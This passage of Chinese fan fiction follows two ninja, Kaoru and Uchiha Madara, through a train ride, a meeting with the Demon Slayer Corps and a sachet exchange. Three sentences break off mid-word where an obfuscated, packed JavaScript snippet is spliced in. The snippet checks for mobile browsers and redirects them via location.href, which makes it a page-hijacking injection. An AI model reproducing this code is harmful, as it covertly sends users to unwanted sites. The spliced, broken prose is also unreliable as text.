那些同行路上温柔的、细小的日常，一点一点填满了原本应当枯燥乏味、以效率为主的任务路途。 而当他再度成为宇智波斑时，他看着夕阳下的河流、人来人往的城下町街道、温柔落下的花瓣，身边却没有那个叫作瑠花的人。 他也不会再像个普通人一样踏入河水之中，不会抬起手拂去某个人发间飘落的花瓣，也不会在人流经过时拉起身边人的手避开人群。 河流可以在接下来的战争中起到战略作用，城下町的人流适合隐藏身份在任务结束后逃脱、花束可以□□用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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熏是在赶路的时候，才知道极乐教教徒口中的邻县和她理解的邻县不一样。 本来以为半天就能一个来回的路程得几天，她都打算以忍者的赶路方式提高效率了，结果到了附近繁华城镇后知道有火车时熏的表情都差点崩坏。 这个有吃人鬼和异能的世界到底是个什么世界观和时代啊！ 熏瞥了眼身边身边的斑，宇智波一族的族长即便不知道火车是什么东西，也一副万事皆在掌握之中的姿态。 她突然就起了捉弄的心思，拉住斑的手：“我们坐火车过去吧？” 斑微微眯起眼，这副姿态他再熟悉不过，但是—— “嗯，走吧。”斑握住熏的手往前走。 熏愣了下，想要挣脱开，就又听斑问她：“怎么了，瑠花？” 熏沉默片刻，哼了一声跟上，又说：“反正只是现在……等等，你知道路吗就带路！” “刚才那人说了，车站就往这边走，是你没认真听吧？” “胡说！”熏断然否决，又跟上斑，问他，“你觉得火车是什么样的？” 斑侧过头看熏，而后转头，语气笃定：“你知道。” 熏：…… “所以，你是怎么知道这个世界的火车是什么样的？” “……”熏尴尬地哈哈了两声，耻辱地说道，“你在说什么呢，我怎么听不懂？我只是好奇才问，火车大概是轮子下冒着火的马车吧。” 斑：…… “那看来不是这样的。”斑说。 熏：“我说了我真的不知道……等等，那你也觉得火车是这样的？” 斑没说话。 27.恶鬼灭杀8 熏过去生活的年代很少能看到老式的蒸汽火车，基本只能在电视上看见。因此，抵达车站后反倒是熏显得更好奇一点，左顾右盼打量着眼前充斥着复古风格的车站。 但熏的好奇很快就被耗尽了。 虽然车站看起来干净整洁，但空气其实不太好闻，属于工业时代早期的污染无法避免，熏到了车站后就觉得不太好受，揉了好几次鼻子。 千手一族本来就住在隐秘的林间，忍界也几乎没有现代造物，虽说很多地方不方便，但在待惯了后再接触现代化的事物还真有些不习惯。 “……因为在族里住习惯了吗？”熏暗暗想着，复又打起精神。 她和斑去买了票，见离发车时间还有一段距离，车站附近也有卖报纸的报童，便买了份问斑要不要一起看。 斑说自己要去周围逛逛，让熏在车上休息就好。 熏坐在椅子上抬头望他，想从斑的神情中看出他的想法，无奈这人很少把想法写在脸上，熏也只能猜测斑是打算自己探索一番私下满足他自己的好奇心。 于是熏将报纸放到腿间压住，笑意盈盈地说了声好，叮嘱道：“记得在发车前回来。” 斑说了声好，往其他车厢走去，打探起这个世界的新事物来。 虽然熏一路上也问了好些问题，但斑并没有忽略熏在这一系列流程中隐隐透出的熟稔，再加上一开始关于火车的讨论，斑想到刚来这个世界的时候，熏似乎并不惊讶。 而且，因为那时候熏主动问了他的想法，所以他也就忽略了熏对穿越一事的态度。 另一边的熏看着报纸，上面都是些当地的新闻，诸如某某子爵家的华族小姐即将成年受到瞩目、某某地发生火灾、从国外传来的某部极尽想象力的科幻电影即将上映、近日该地区出现不明人士在夜间佩刀提醒居民出行小心这类的新闻。 本来是买来打发时间的读物，但熏却有些心神不宁，根本看不进去。 旁边的座位坐了几个年轻的学生，正讨论着当下出名的作家。 身后有对年轻夫妻正在悄悄说着小话。 熏合上报纸放到一边，终于承认自己是有些放心不下一个人出去的斑。 这可太奇怪了，明明在极乐教的时候他们也是分头行动，但是那时熏却没有这种担忧。 但从极乐教离开，来到这个比先前的封闭村庄更为繁华的城镇后，这个因新旧时代的交融显得有些奇特梦幻的世界逐渐呈现在他们眼前。 驯养鹰隼作为忍兽的人不可能被束缚，也不可能不对未知的世界产生探索欲。 熏只想尽早找到回去的方法，以免结盟横生枝节。 哪怕她自己也对这个与过去世界相似的世界感兴趣，她也不希望斑将注意力放在探索新世界上。 这种想法未免太过无理霸道，因此熏转眼就将这种想法压到了心里最底层。 熏不再想这些扰乱心绪的事，看着窗外发呆。有个中年人沿着列车边缘叫卖便当，熏推开窗户问了价格，便买了两份，打算等会儿饿了的时候吃，然而没过多久斑也拎着两份便当回来了。 “……” 他们两人面面相觑，面对多出来的便当相对无言。 “……你也买了便当回来啊，这么快就回来，我还以为会很久呢，”熏说着伸过脑袋看了眼斑手上便当的问道，“是不同味道，我们可以交换一盒，两种味道都能吃到！” 斑在熏的对面坐下，依言递了一盒和熏交换，同样没提两人把便当买重的事，解释道：“打听了一下列车的状况，这些消息很容易问到。” 熏：“……” “你就不对其他东西感兴趣吗？”她问。 斑定定看着熏：“当务之急是先回去。” 问过想知道的东西后他就回来了。列车以烧煤的方式提供前行的动力，这大概是唯一和“火”有关的地方，那么熏是误打误撞猜到的吗？ 他有种古怪的预感，以熏对这个世界所透露出的微妙态度……如果她不想回去了呢？ 熏没想到斑会主动提起这件事，她愣了一下才点头：“确实。” 而后她转移话题，和斑聊起在报纸上看到的消息，斑说的话要少一些，通常三五句回应一句，等到列车启动，两人都安静起来听着火车鸣笛的动静。 火车速度逐渐提升，熏和斑看着窗外倒流的景色，好一会儿熏才说：“很方便对吧，以后我们也可以想办法修一条，族里的普通人也可以方便出行，办法就让扉间来想。” 斑：“那千手扉间恐怕要忙死了。”就千手扉间那副结个盟一直臭着脸的态度？让他来建设村子，恐怕比杀了他还难。 “你对扉间误解太深了……而能者多劳嘛，他脑子好使，你弟弟好像也是，可以的话再把你弟弟加上。” 斑：…… 熏按住斑的膝盖，凑过脑袋盯住他的眼睛，微微眯起双眼：“看你的表情，你似乎是在想很冒犯的东西。” “我在想你大概是不满意结盟，想让他们打起来，”斑悠悠说道，“泉奈可不会忍着千手扉间的挑衅。” 熏坐了回去：“所以说你对扉间的误解太深了，他只是太注重柱间和千手，才不会随便挑衅，而且你以前夸你弟弟的时候可不是这样说的。” 什么“我的弟弟学什么都很快，性格又好，笑起来很可爱，也很温柔，他是我现在唯一的弟弟了，我一定会保护好他……”这类的话是一套跟着一套，更可怕的是他弟弟不在场，所以他也不必撒谎，说的是真心话。 就这个描述，谁知道是在说宇智波泉奈啊？！ “那也要看对谁。”斑说。 熏：“……原来你也知道啊。” 知道你们宇智波看待外人有多双标。 她还以为斑的滤镜真的无比强，他眼里的弟弟真的是个无害温柔的家伙——然而但对他来说泉奈好像还真能称得上这个评价。 意识到这令人不知道从何吐槽的点后，熏再度沉默了。 “无关紧要的家伙为什么要在意？”斑理所当然地反问。 “……”所以当初她究竟是怎么和斑谈上恋爱的，这真是个未解之谜。 旧时代的老式火车乘坐起来当然不比熏在现代坐过交通工具舒适，熏没坐一会儿困意就上来了，尤其是火车的颠簸，更是助眠。 当然，主要原因还是她昨晚守夜没休息。 知道鬼可能是夜行生物，童磨还有同伴随时可能找上门，他们不可能会毫无防备在对方老巢里睡觉。前晚是斑守夜，昨晚就轮到熏。 熏挪到靠窗的位置，脑袋搁在窗上，困意越发浓重，对面坐了个清醒的斑，她不必担心安全问题，很快就闭上了眼睛。 窸窣的声音响起，熏迷糊地睁眼看了一下，斑正转到她身边坐下。熏又想起还没检票，就拿出车票给斑让他等会儿帮忙检票。 斑收下车票说了声好，见熏不顾火车的颠簸，又闭上眼脑袋往窗户倒去，叹着气抬手垫住熏的脑袋，把她往自己身上靠。 然而对熏而言靠着肩膀的感觉并不习惯，她闭着眼调整了好几次姿势都不舒服，又想往窗户靠。可斑揽着她的肩，让她不好调整姿势，最后熏忍无可忍地睁开眼坐直，扫了一圈周围的环境，再度往窗边挪了一些，抓住斑的手直接往斑的腿上倒去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061380|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 斑：…… 他垂下头看着熏沉睡的侧颜，愣了好一会儿。似乎是因为抓住他的手握得很紧，他不禁勾起唇轻轻笑了一下。 熏没有睡多久就醒了，理智上线后她枕着宇智波斑结实的大腿沉默很久，思考着要不就这么一睡不醒好了。 ——脑子不清醒的她还真是什么事都做得出来啊。 上次是扒斑的衣服，这次是嫌弃人肩膀硌得慌强行膝枕，她还有什么事做不出来！ 熏佯装自己还睡着，但频率猛然变化的呼吸却已经暴露了她已经醒来的事实，更何况熏还握着斑的手，她醒来意识到现在情形后就没忍住加大了力道。 “醒了吗，瑠花？”斑挑了挑眉，问道。 “……”熏不情不愿地嗯了一声坐起身来，“多谢。” 枕了就枕了吧，反正都记在瑠花账上，和千手熏没关系。 斑的心情似乎很好，喉间溢出很轻微的一声笑。 熏听见斑的笑声耳朵更是发烫，绷着脸不去看他。 接下来的旅程中规中矩，见快中午了，两人便打开便当盒吃了起来，熏问斑怎么想到买便当的，结果斑沉默半天才说推销便当的人是个怀孕的女人。 言下之意就是不好拒绝。 熏不可思议地盯着斑，凶名在外的宇智波族长拒绝不了一个孕妇？ 被忍界其他人听见恐怕要笑死说这话的人。 斑被盯得有些恼怒地皱起眉：“怎么了？” 熏连忙摇头：“没什么，就是有点意外。” 她收回目光，又忍不住去看斑，一眼接着一眼。斑板着脸警告地叫熏的名字，但熏还是忍不住。 最后斑双手定住熏的脑袋，让她直直地看着自己：“要看就一次性看个够。” 熏眨眨眼，按理说斑这副表情应当是很有威慑力的，但是熏却因为刚才的事一点也害怕不起来，此刻听斑这么一说，更是大方地回望着斑。 斑：…… 见这招已经失去了应有的威慑力，他捏了捏熏的脸颊，而后松开手叹气，转开脸任由熏盯着。熏牵住斑的手，轻轻靠着斑：“意外是个好人呢，和以前一样。” “别说这种惹人发笑的笑话。”斑说。 熏沉默了很久，才道：“我认真的，就算别人不这样觉得，但是你——‘志叶’在我心里，是个很好很好的人。” “‘斑’呢？”斑又问。 “那可就太复杂了，一句话根本说不清，我也不知道该怎么说清楚，但不可否认的是，‘志叶’也是‘斑’的一部分。” …… 两人赶到藤袭山的时候，已经接近黄昏。 浓郁到甜腻的藤花的香气扑鼻而来，两人站在山脚下往下望，感受到自山中传来的浓重恶意。熏不禁感叹：“以前觉得逢魔时刻这种形容黄昏的描述很抽象，现在才知道原来是写实。” 她的视野中，比童磨浅些的血色之气几乎笼罩了整座山，这座山简直可以说是鬼的巢穴。 熏甚至忍不住阴谋论——这么庞大的数量，是有人在圈养这些鬼吗？ 山脚有一座木屋，见有人过来，里面的年轻人连忙出来阻拦，说这里是私人场地，不能入内。 熏看向年轻人，又看向被茂盛的藤花遮掩住的山林，突然发问：“如果不是花开的季节，山里的东西会跑出来吗？还是说只要是藤花这种植物，就对他们有威胁？” 年轻人脸色大变，就要退开。 熏手疾眼快地抓住对方的手臂，笑意盈盈地看着对方：“抱歉，请先回答我的问题，另外，可以告诉我，你们的主人……是个什么样的人吗？” 28.恶鬼灭杀9 黑色的鎹鸦立在墙头，眼珠映照着屋内明亮的灯火。院内的藤花花穗如垂挂的紫色帘幕，香气袭人。 熏和斑并排坐着，手中捧着一杯泛着淡淡藤花香气的茶水，听面前穿着偏西式服装的年轻人解释着与鬼有关的一切。 鬼隐藏在黑暗中猎食人类长达千年的历史、鬼的等级，以及鬼的弱点。 为了从鬼的手中保护更多的人，一部分人聚集在一起，成为了猎鬼人，组成了杀鬼的组织鬼杀队。 至于熏误以为是有恶人豢养鬼怪的藤袭山，实则是鬼杀队考核队员能力的场地，也是这些食人鬼的囚牢。 为了防止不知情的普通人误入藤袭山，藤袭山山脚其实有鬼杀队成员和他们的鎹鸦轮流巡视护卫的。 熏有些尴尬地看着眼前险些被误伤的鬼杀队成员。 对方找来同伴顶班后，便带着他们来到附近鬼杀队产业的藤之家，关切地询问他们是不是遇上了鬼需要帮助，毫不介意之前在山下的冲突。 “我和同伴之前遇上了一只有些奇怪的鬼，但拖到天亮后解决了，所以才一路追查和鬼有关的消息，”熏隐去杀鬼的方式和童磨的信息，顺着对方给出的鬼的弱点回答，“鬼有血鬼术这么难缠的能力，那鬼杀队应该也有类似的克制方式和特速能力吧？比如传说中的法术？阴阳术？巫术……” 脑子里闪过一连串诸如燕赤霞、安倍晴明、甘道夫、桔梗、范海辛之类的名字，熏又问起正事。 他们追寻鬼的消息本就是为了找到可能回去的方法。 可惜熏每举一个例子，对方脸上的苦笑便越深。 熏也在对方无奈的神情下意识到了什么。 脸上还带着些许稚嫩的年轻人放下腿上的手紧紧握成了拳头，语气却故作开朗：“没有什么特殊能力，战斗在一线的同伴们能做的就是不断磨练自身体能，精进剑术，配合着能够将攻击最大程度发挥出来的呼吸法在夜间迎击食人鬼——呼吸法也是很厉害的！” 鬼杀队的年轻人看着面前都有些动容的两人，强打起笑容活跃气氛：“啊，对了。没有经过训练的人遇到鬼后能够全身而退是件十分幸运的事，你们追寻着鬼的消息来到这里，是想加入鬼杀队吗，我可以给你们推荐训练师。如果没有其他打算的话，也请收下我们特制的藤花香囊，身上带有和藤花有关的东西，会有几率减少被鬼袭击的概率。” “稀血是什么？”斑没有接下年轻人的话，而是问起另一件事。 童磨曾经说过熏有“稀血”的味道。 年轻人听见这个词，脸色一变：“鬼说你们是稀血吗？” “袭击我们的鬼提了一嘴，稍微有些在意。”熏接道。 在知道鬼以食人血肉提高实力，而被鬼称作稀血的人能够起到更大作用后，熏轻轻叹了口气。 “也就是说，鬼会优先、甚至主动猎食稀血的人？”斑问出熏心中所想的内容。 鬼杀队队员点了点头，她犹豫了一下，还是道：“如果你们真的是稀血的话，还请多加小心，那些鬼……为了稀血，会变得很疯狂。” 她说不出让眼前两人加入鬼杀队的提议，加入鬼杀队意味着面临更多的鬼，而稀血则会承受更多来自鬼的攻击……或许不主动牵扯进与鬼有关的事反而会活得更久。 这之后两人又问了不少和鬼以及鬼杀队的问题，鬼杀队的年轻人也顾忌着熏和斑毕竟不是鬼杀队的成员，不敢暴露鬼杀队的一些敏感信息，想要含混过去，无奈她面对的是两个忍者，自己都没意识到就把这些信息交代得干干净净。 交谈结束后，年轻人一无所觉地离开房间，熏等对方的脚步声远去后才缓缓呼出一口气，仿佛要将心中的郁气吐个干净。 以前熏玩游戏，游戏设计时或多或少都讲究平衡，不同职业之间相互克制，哪怕有某个职业过于强势，也会在之后的版本更新中被削弱。 在忍界的时候，不同的忍族互相争斗，但都掌握着能力相关的忍术，血继也非一家独有。 闻所未闻的血继与秘术层出不穷，在战争中消亡或是大放光彩。 因此在得知鬼与猎鬼人的存在时，熏想当然地认为，猎鬼人能与鬼分庭抗礼，鬼的能力明显高于普通人，那么猎鬼人也还有类似的对抗手段才对，但交谈下来后熏却发现并不是这样。 千百年来猎鬼人就凭着血肉之躯与这些长生的怪物对抗着。 斑看向心情沉重的熏，问她在想什么。 “真是不公平。”熏说。 食人鬼占尽优势，天敌少之又少，和与他们对抗的人类差别之大突兀得就像个游戏外挂，宛如三体人降临地球。 她看着自己的手，变身术的表象之下，她的手指尖锐得能够轻易划破血肉，脉管之中的查克拉能够让她使用如同超能力般的忍术，不知从何而来的能力使她可以吸食生灵的精气。 但她在忍界中却从来不会大意地认为自己这样就能够为所欲为。 所以即便她有时候会感觉自己不太像人，也不会觉得孤独，因为身边都是同类，还有比她更厉害的。 扉间说她的能力来自过去某个不知名忍族的推测也很有道理，虽然只是个借口，她也认了。 但这个世界却不一样，更像她转生前的世界，平凡却也脆弱。 这样脆弱的世界面对着鬼的威胁。 “接下来，我们去哪里找线索呢……”熏又问。 寻找拥有奇异能力的人的期待已经破灭，实在要和穿越时空的能力掰扯，恐怕寻找鬼更有可能找到线索。 斑沉吟片刻，道：“先去一趟鬼杀队总部，我有点在意这个势力。” 虽然这个鬼杀队成员说人类没有特殊能力，但是他还记得之前保释鬼杀队队员的“神官家族”。 如果人与鬼的差距悬殊当真大到这种境地，为什么鬼还没有占据这个世界的主导？ 熏抬眼看向斑，终于问出了其实自她来到这个世界后就一直有些担心的问题。 “斑，你有没有想过，我们可能回不去了？” 斑放下茶杯：“真是少见，你在害怕吗？” 熏没说话。 于是斑伸过手握住了熏的：“你还记得我们来到这里时空间的异动吗？” 类似时空间忍术的波动。 只要原理相似，那么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080237|159254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有被复刻的可能。 “会研究忍术的不止千手扉间一个人。”斑说，“即便最后连时空间忍术都失败了，我也不会放弃寻找回去的方法，我会送你回去的。” 他的世界中，泉奈与族人、柱间与即将到来的和平、他与熏的未来，都在那个世界，他不会轻易放弃。 “我不会让我们迷失在未知的世界中。” 熏怔怔地望着郑重向她承诺的斑，突然抽回手拍了拍自己的脸颊冷静下来：“你说得对，总会有办法的，我现在就打退堂鼓算什么。” 她说着站了起来，去找刚才的队员问她和斑今晚住哪里，刚才很顺手地用幻术把人打发走了，这些基础的事却忘记问了。 她找到那名鬼杀队成员的时候，她正在院子里挥剑。熏说了来意后才露出恍然大悟般的神情：“我说我好像忘了什么，抱歉抱歉……” 熏良心有点痛，连忙说没关系，院子里的花很好看，她也想出来看花。 两人边说边走，院墙上的鎹鸦突然叫了一声，她们看过去的时候却没有异常。 熏又看了两眼鎹鸦，出于自己对于鸦科动物的偏见，微微皱眉。 她和乌鸦的恩怨要追溯到好几年前。 当时她上头了，把簪子扔到了斑跟前，斑又没收回，她就离开了。 没走多远她就后悔了，好歹她也送了斑东西，还误打误撞帮了宇智波一把，她拿宇智波一根簪子算便宜他们了，她怎么这么想不开把簪子扔了！ 内心天人交战，该扔和不该扔的想法都有道理，最后熏估摸着宇智波斑肯定已经走远了，不会再察觉到她的气息，就往回走，想去把簪子带走。 不然她的东西就会变成大自然的馈赠了！ 结果回去后她却没找到簪子。 只是那么一会儿的时间，那么显眼的簪子就不见了，熏蹲在之前簪子插着的地方研究了好半天，最终得出了结论。 簪子被临近的鸟类当作大自然的馈赠叼走了。 因为周围有鸟类利爪的痕迹。 不甘心的熏搜寻起附近的鸟窝，结果招惹了一群坏脾气记仇的乌鸦。 熏本着自己先去搜它们的巢她理亏的心态没有狠下杀手，记仇乌鸦反而跟了她一路不停骚扰她，最后她受不了和这群乌鸦动手，这群长翅膀的家伙顿时四散逃跑意识到熏不是能得罪的人。 回族里后桃华见她狼狈成这样问她路上发生了什么，熏向桃华抱怨：“连鸟都欺负我！” 以前熏学乌鸦喝水，总对乌鸦抱有一种奇怪的好感，发簪事件之后乌鸦就沦为了她第二讨厌的生物。 当时桃华说什么来着？ 哦，对了。 桃华一脸不可置信说她居然能忍住被一群动物欺负。 有一点没一点地回想着以前的事，鬼杀队队员突然问熏在想什么。 “熏小姐的表情很温柔呢。” 熏愣了一下：“是吗？” 对方点头：“嗯，应该是在想美好的事吧？” 美好的事没有，糟心的乌鸦有一大群。 这么想着的熏点头：“大概算吧，我有些想家了。” 29.恶鬼灭杀10 第二天早上离开的时候，两人还是被藤之家的人塞了两个鼓鼓囊囊的藤花香囊。 谢过鬼杀队的人离开后，熏拎着香囊的系带打量着，一边闻着浓郁的藤花味道，和斑说道：“感觉里面好像还加了几种宁神的的药材。” 她毕竟是医忍，还是从几乎能盖住其他味道的花香中闻出了端倪：“鬼杀队的人真是好心啊。” 斑问熏：“不打算戴上吗？” “戴不戴影响都不大吧，”熏说，“但要是习惯这种味道了，以后会不太方便。” 其他任务不必多说，还会影响自己的嗅觉判断。 之后把香囊送给更需要的人好了。 “稀血容易被袭击。”斑拉住熏。 熏不明所以地看向他，就见他拿着属于他的那枚香囊往她的腰间系。 她顿时瞪大了眼睛，急急忙忙地抓住斑的手，在斑看过来时问他：“你干什么啊？” “刚才那个，你打算找机会处理掉吧？”虽然是问句，但斑的语气却十分笃定。 熏反驳：“不是处理，是准备送给有需要的人。” “我也是送给更需要的人。”斑说。 “……”熏沉默了一下，“你这礼物送得也太方便了吧？借花献佛？这个香囊对我而言确实没有必要。” 斑屈起手指弹了下熏的额头：“那遇到鬼袭击，你打算失控？” 如果是平时，熏肯定会有一堆反驳的理由。但斑直接把她弹懵了，她捂住还残留着些许感觉的额头，呆呆地看着斑，不可置信：“你是不是过于顺手了？” 斑可疑地停顿了一下：“你也没躲开。” 熏唾弃了一把自己那不知道下线到哪里的警惕心，怒从心头起，一只手按住斑，一手去够斑的额头：“让我弹回来！” 斑抬手抵着熏的肩，微微往后仰头躲熏的手。熏更是恼怒，大声叫着斑的名字。 见状他低声笑着边往后退边俯下身，熏浑然不觉地追了上去，等到当真戳到斑的额头后才反应过来，自己已然和他抱了个满怀。 宽大的手按住她的后心，热度透过有些单薄的衣物传了过来，斑将下巴搁在熏的肩头发出愉悦的笑声，硬质的头发蹭得熏脖子一阵痒意。 “斑！” “熏，”刚打算指责他过于狡猾，斑含着笑意的声音便打断熏，“戴上香囊吧，不会太久的，这件事会很快解决。” 她有些别扭地别开眼，气其实也消了大半，手下稍微用了些力推了推对方，斑就从善如流松开她。 熏转过脑袋看着不远处树枝上一只轻盈跃动的灰白色山雀，由着斑为她系上香囊，小声说道：“你直接说就好了。” 十指灵巧地将绀紫色的系绳打上结，斑抬眼看熏，眼角眉梢都还带着未散的笑意：“你是在说刚才和你笑闹的事？我故意的。” 熏：“……” 她瞪了眼对方，但看着这样的斑又生不起气来，于是拿出自己刚才就想交给他的那个属于自己的香囊塞进斑的手里，而后急匆匆地往前走，抬手按住自己有些发烫的脸。 但她随即又闻到了手上还残留着的藤花香气，本来十分正常的现象，熏却觉莫名的别扭，欲盖弥彰地将手急急放下。 奇了怪了，宇智波斑笑起来怎么这么好看，以前也不觉得啊！ 啊，对了，因为他以前笑得都挺狰狞的，但战场上谁也别苛责谁的表情管理，大家都有丑的时候。 “给我吗？”拿着香囊的斑跟在熏背后问。 “给你给你，我都戴上了，你也得戴！”熏没回头。 结果斑又来了一句：“你也挺会借花献佛的。” 熏猛地停下回头看斑，在斑微微挑眉时快步走到他身前：“你是不是觉得我还会像刚才一样生气上当？” 然后主动贴近他？ “我是打算谢谢你的礼物——” 斑的话没说完，眼睛微微睁大。 有些凉的手揽住他的后颈，唇上被重重咬了一下，突然上前偷袭的熏眼角微微上挑着，就像是一种挑衅—— 斑抓住打算脱身的熏，熏也毫不退缩，微微扬起下巴示意：“刚才，你也没躲开。” “……还真是不服输啊。”斑说。 熏哼了一声，当作默认。 毕竟把要害暴露出去没对旁人的行为作出反应，实在是一件忍者失格的事。 斑松开熏的手，又俯身去瞧熏的眼睛：“但你这样，没想过我会得寸进尺？” 熏揉了揉刚才被抓住的手腕，抬眼看他，语气带着几分挑衅：“真的？柱间说你们俩里一般是他比较容易得寸进尺。” 斑：“……” 他深深吸了一口气，眼神不善：“这种时候不要提柱间。” 熏也点头赞同：“其实我也觉得他不会想知道我们会在这种情况提他。” 她伸出手，摊开掌心，唇角微微翘起，看着斑眨了眨眼：“不开玩笑了，香囊给我一下。” 熏的要求让斑目露不解，但他还是依言把香囊放了上去，而后就见熏提起香囊的系带上前一步，垂头将香囊系在他的腰间。 他下意识屏住呼吸，看着熏毛茸茸的发顶，想要抬起手，却只是微微动了动手指，什么也没做。 熏系好香囊退开，想到了什么，不由笑出声，又和斑说：“结果争来争去，就为了戴上香囊，又回到原点了。” 不知道的人还以为他俩多缺一个香囊呢。 “不是原点。” 斑说。 熏愣了一下，疑惑看他。 斑手指轻轻碰了碰熏的脸颊，很是认真地说：“现在是互相赠送的礼物。” 熏欸了一声：“那完了，之后不好处理香囊了。” “往后会有机会的。” 这没头没尾的一句让熏有些疑惑：“有处理香囊的机会？” 斑看了眼熏，拉住熏的手往前走。 好半天，他才开口：“会有一个适合佩戴香囊，也能让你抱着喜欢的花的地方。” 熏思考了好半天，恍然大悟：“你是在说结盟后要建的村子？” 结盟前柱间是给她提了一嘴，兴致勃勃地说什么他和斑以前要建的村子近在眼前。但熏觉得挺难，只是结盟，一下就直接快进到住一起是否有哪里不对。 斑嗯了一声。 熏若有思地眯起眼打量着斑的神情，又问：“没有直说……是害羞了？” 不可能吧？ 宇智波斑会害羞？别说宇智波斑了，志叶时期的他也鲜少会害羞吧？她印象里“志叶”害羞有且只有一次，就是赏樱那晚前他们逛街，她调笑对方不会是想送她衣服吧。 时下的习俗，男女双方订婚时男方会送和服给女方。 斑威胁地看了眼她：“熏。” 熏抿抿唇，忍住笑意，还是道：“你叫我瑠花都没用——不过你和柱间设想的村子，我其实挺期待它建好的那一天的。” * 稀血果然没辜负鬼杀队剑士的重视程度，就算身上带了紫藤香囊，他们路上还是遭遇了几波无法抗拒诱惑的鬼。 熏的状态已经缓过来，变回了原样，但顾忌着吸收鬼的副作用，他们选择直接把鬼封印在原地，等天亮后让鬼自生自灭。 鬼杀队的总部在偏远的群山之中，赶路时熏倒不觉得麻烦，相反，她甚至升起了些许亲切感。 毕竟忍族也住在隐蔽的地方。 “到了之后一定得拿一把日轮刀。”再又一次将袭击的鬼封印在原处，熏和斑说。 藤之家并没有可以供他们二人使用的多余日轮刀。 他们倒是能直接拿走鬼杀队剑士的刀，但那样的话对方就失去了能够自保的武器，更何况藤袭山中关满了恶鬼，要是真出了什么意外，他们把刀拿走，可能会害死对方。 但一路上靠封印术还是太麻烦了。 同样，也是这段时间袭击的那几波鬼，让熏产生了怀疑。 童磨是会血鬼术的比较特殊的鬼，比普通鬼厉害倒也正常，但他们后来遭遇的鬼是不是有些……过于弱了？ 不知道日轮刀的时候还好，一旦知道了，在面对本来可以一刀解决的对手还要用封印术时，熏的心态就有些不平衡了。 斑见熏似乎完全没有之前在藤之家时担心回不去的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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熏不由愣住，而后稍微有了些罪恶感，毕竟人也是他们千手伤的。 “族长的命令罢了，要说一开始，也是扉间伤了泉奈，你不用这么……”熏不知道该怎么形容自己的心情。 提起医疗忍者的事，其实也只是突然想起了，她也不是一定要争个对错出来，更想象不出斑会为以前的言论后悔的样子。 实在要说的话，斑那番话虽然是狂妄了些——好吧，是没有比这更狂妄的了——但是，在忍界却是正确的。更何况面对敌人，也不可能说好话，熏在战场上垃圾话也一套一套的，比斑那番话过分的多了去了，而且那话斑也不是在骂她。 只是还是有些不甘心。 毕竟，虽然明白世界上有天才，但当她发现原来身边的天才竟然一出出俩，而且还是远远把其他人抛下的天才程度，还是有些不甘心当“弱者”。 “弱者是丑陋的，我一直这么认为，”斑继续说道，“保护不了弟弟的我同样也是丑陋的。” 风沙沙地吹过林间的树叶，两人穿行在漏过木叶的阳光之中，斑的声音显得有几分沉稳与平静。 斑讲起了结盟始末一事中，熏所不知道的视角发生的事：“泉奈昏迷的时候，我看了柱间的休战书。确实，我有心动，但不能答应。” “泉奈说得没错，族人们奋战至今，死了太多的人，结盟不是我一个人可以决定的。明明弟弟就要死了，我却什么都做不了，过去我为了保护弟弟想要变强，也一度认为自己的实力已经足够，与柱间对战时未尝没有沾沾自喜过。 “但直到那时候，我才发现，想要保护弟弟、保护族人，我的能力还远远不够，甚至还需要泉奈为了保护我献出生命。” 痛恨自己的无力，于是渴求更多的力量。 他要得到足够的力量，要强到足够杀了柱间，要强到再也不需要在弟弟与族人之间做抉择，强到弟弟不需要替他做选择—— 但实际上泉奈已经快死了。过去斑说别人没有柱间无印回复的体质，却也忘了这世间没有柱间体质的人遍地都是，也包括他想要保护的弟弟。 “我救不了泉奈是事实，你们救了泉奈也是事实，”斑继续说道，“强弱的对比，或许不只在简单的力量之上。” 他也想起不久前藤之家的那个年轻剑士与此刻身上所佩戴的对方所赠的香囊。 前仆后继的鬼杀队剑士决然地踏上与自身强上百倍的鬼作战的道路，并不丑陋。 熏感叹命运不公，创造出了对普通人而言过于强悍的鬼怪。 但他也不觉得鬼杀队的人是弱者。 30.恶鬼灭杀11 他们还没到鬼杀队的总部，鬼杀队的人其实就已经知道二人的行踪。 两人一路行来也没想过隐藏，树梢上来去的鎹鸦就没有间断过，来回之间不知道换了多少波。 熏从树梢上的乌鸦收回目光，想起斑的那只忍鹰。 战场上那只忍鹰会被放飞，自高空俯瞰全局，寻找到千手的营地。自从斑多了这么只忍鹰，千手便不必费力提前隐蔽行踪了，因为总是会被发现——扉间对那只忍兽恨得咬牙切齿，但忍者中能飞的全忍者都数得出来，射程也不够，也就只能对着那只忍鹰望洋兴叹——熏觉得千手可能和会飞的生物犯冲。 不过这也不是全然的坏事，因为一旦发现斑的忍鹰，那就意味着他们离宇智波也很近了，他们会自发戒备起来。 往往过不了两天，千手和宇智波就会交战。 要是当初斑的忍鹰能像鎹鸦一样停在离他们这么近的地方就好了。 这样他们也不会为一只忍鹰戒备发愁。 熏想。 